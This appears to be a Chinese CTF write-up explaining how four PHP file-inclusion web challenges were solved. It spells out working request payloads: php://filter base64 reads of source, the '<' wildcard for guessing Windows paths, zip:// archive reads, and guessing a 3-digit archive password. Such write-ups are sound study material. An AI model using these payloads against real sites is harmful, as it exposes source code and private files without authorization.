西邮ctf2020 web之文件包含解析

比赛地址:http://39.97.182.97/

这四道考题都是利用的php伪协议 参考php伪协议,利用文件包含漏洞

第一题:http://watcem.top/wangzhan/27.php

在这里插入图片描述直接构造

http://watcem.top/wangzhan/27.php?file=flag.txt

得到flag
在这里插入图片描述

第二题:http://watcem.top/wangzhan/26.php

在这里插入图片描述
尝试构造 http://watcem.top/wangzhan/26.php?file=flag.php
发现需要用base64来解码
在这里插入图片描述使用php://filter构造

http://watcem.top/wangzhan/26.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64加密过的字符串
在这里插入图片描述
base64解密得到flag
flag{fa8a8853b970c0f82bda58648ce1292a}

第三题:http://watcem.top/ctf/2/2.php

这题好**难 刚开始做没思路还是问的大佬才写出来

在这里插入图片描述题中提示flag在桌面,然后试图构造桌面路径

http://watcem.top/ctf/2/2.php?file=C:\Users\Administrator\Desktop\flag.<

之后在页面上发现回显,是.7z文件
在这里插入图片描述

注:这里有一个知识点 PHP中的(<) 相当于通配符符号(*)
在这里插入图片描述确定是.7z文件后,重新构造url

http://watcem.top/ctf/2/2.php?file=zip://C:\Users\Administrator\Desktop\flag.zip%23flag.txt

%23是#,经过转义在win上就要用%23
得到flag
在这里插入图片描述我好菜阿巴阿巴

第四题:http://watcem.top/ctf/3/3.php

发现页面是这个,甜甜的文件- -
在这里插入图片描述

2333太甜了
在这里插入图片描述构造 查找在桌面上的含有flag的文件

http://watcem.top/ctf/3/3.php?file=C:\Users\Administrator\Desktop\flag.<

得到回显 可以看到l.7z文件中含有flag.txt文本
在这里插入图片描述再构造,尝试打开flag.txt
构造一个发现没反应http://watcem.top/ctf/3/3.php?file=C:\Users\Administrator\Desktop\flag.7z%23flag.txt
试试base64解码

http://watcem.top/ctf/3/3.php?file=php://filter/convert.base64-encode/resource=file://C:\Users\Administrator\Desktop\flag.7z

页面下方显示一串字符~

N3q8ryccAATAe6mrIAAAAAAAAABqAAAAAAAAADAECf7cQ+YDVIG3ANMRbxs5ucbqTnBjZLGyzsSyPyqWlpRLnwEEBgABCSAABwsBAAIkBvEHAQpTB+KCpw0d1h3bISEBAAEADBgUAAgKAbRFbLcAAAUBGQkAAAAAAAAAAAAREwBmAGwAYQBnAC4AdAB4AHQAAAAZABQKAQDAKZRq7KbWARUGAQAgAAAAAAA=

base64解码发现没解出来,艹(一种植物)
把他们扔到010editor中,使用DecodeBase64脚本解码
在这里插入图片描述保存为1.7z 打开发现有密码
在这里插入图片描述看题上提示是3位数 纯数字密码,随便试下发现密码是123,当然也可以爆破 打开flag.txt 得到flag
在这里插入图片描述
题太难了,我是five,本人很菜,如果有写的不对的地方欢迎大佬们评论区留言指正
参考链接:https://www.cnblogs.com/-mo-/p/11736445.html
https://blog.csdn.net/qq_41289254/article/details/81388343?utm_source=app

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 13
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值